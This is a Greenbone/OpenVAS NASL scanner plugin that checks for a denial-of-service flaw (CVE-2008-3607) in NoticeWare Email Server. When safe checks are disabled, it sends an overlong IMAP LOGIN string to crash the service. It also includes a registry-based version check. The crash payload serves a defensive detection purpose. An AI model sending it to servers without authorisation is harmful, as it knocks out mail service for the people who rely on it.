NoticeWare Email Server NG LOGIN Messages DoS Vulnerability

# SPDX-FileCopyrightText: 2008 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.900027");
  script_version("2023-07-21T05:05:22+0000");
  script_tag(name:"last_modification", value:"2023-07-21 05:05:22 +0000 (Fri, 21 Jul 2023)");
  script_tag(name:"creation_date", value:"2008-08-22 10:29:01 +0200 (Fri, 22 Aug 2008)");
  script_cve_id("CVE-2008-3607");
  script_copyright("Copyright (C) 2008 Greenbone AG");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");
  script_category(ACT_MIXED_ATTACK);
  script_family("Denial of Service");
  script_name("NoticeWare Email Server NG LOGIN Messages DoS Vulnerability");
  script_dependencies("imap4_banner.nasl", "smb_reg_service_pack.nasl", "os_detection.nasl");
  script_mandatory_keys("Host/runs_windows");
  script_require_ports(139, 445, "Services/imap", 143);

  script_tag(name:"affected", value:"Noticeware Email Server 4.6.3 and prior on Windows (All).");

  script_tag(name:"insight", value:"Security flaw is due to improper bounds checking of the user supplied
  data to imap LOGIN command (Long string of 5000 characters on tcp/143).");

  script_tag(name:"summary", value:"NoticeWare Email Server is prone to a denial of service (DoS) vulnerability.");

  script_tag(name:"solution", value:"Upgrade to Noticeware Email Server 5.1 or later.");

  script_tag(name:"impact", value:"Remote attackers can crash or deny the service by executing
  long LOGIN string.");

  script_xref(name:"URL", value:"http://www.securityfocus.com/archive/1/495259");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/30605");

  script_tag(name:"qod_type", value:"remote_analysis");
  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("smb_nt.inc");
include("imap_func.inc");
include("secpod_smb_func.inc");
include("misc_func.inc");
include("port_service_func.inc");

if(!safe_checks()) {

  imap_port = imap_get_port(default:143);
  banner = imap_get_banner(port:imap_port);
  if("NoticeWare" >!< banner)
    exit(0);

  sock = open_sock_tcp(imap_port);
  if(!sock)
    exit(0);

  data = string("A001 LOGIN ", crap(data:"A", length:5200), " \r\n");
  send(socket:sock, data:data);
  rcv = recv(socket:sock, length:1024);
  close(sock);
  sleep(20);

  sock = open_sock_tcp(imap_port);
  if(sock) {
    send(socket:sock, data:data);
    rcv = recv(socket:sock, length:1024);
    close(sock);
  }

  if("NoticeWare" >!< rcv){
    security_message(port:imap_port, data:string("NoticeWare Email Server service has been crashed on the target system.\nRestart the service to resume normal operations."));
    exit(0);
  }
  exit(99);
}

if(!registry_key_exists(key:"SOFTWARE\NoticeWare\EmailServer"))
  exit(0);

key = "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\";

foreach entry(registry_enum_keys(key:key)) {

  mailName = registry_get_sz(key:key + entry, item:"DisplayName");

  if(mailName && "NoticeWare Email Server" >< mailName) {

    mailVer = registry_get_sz(key:key + entry, item:"DisplayVersion");

    if(mailVer && egrep(pattern:"^([0-3]\..*|4\.[0-5](\..*)?|4\.6(\.[0-3])?)$", string:mailVer)){
      security_message(port:0);
      exit(0);
    }
    exit(99);
  }
}

exit(0);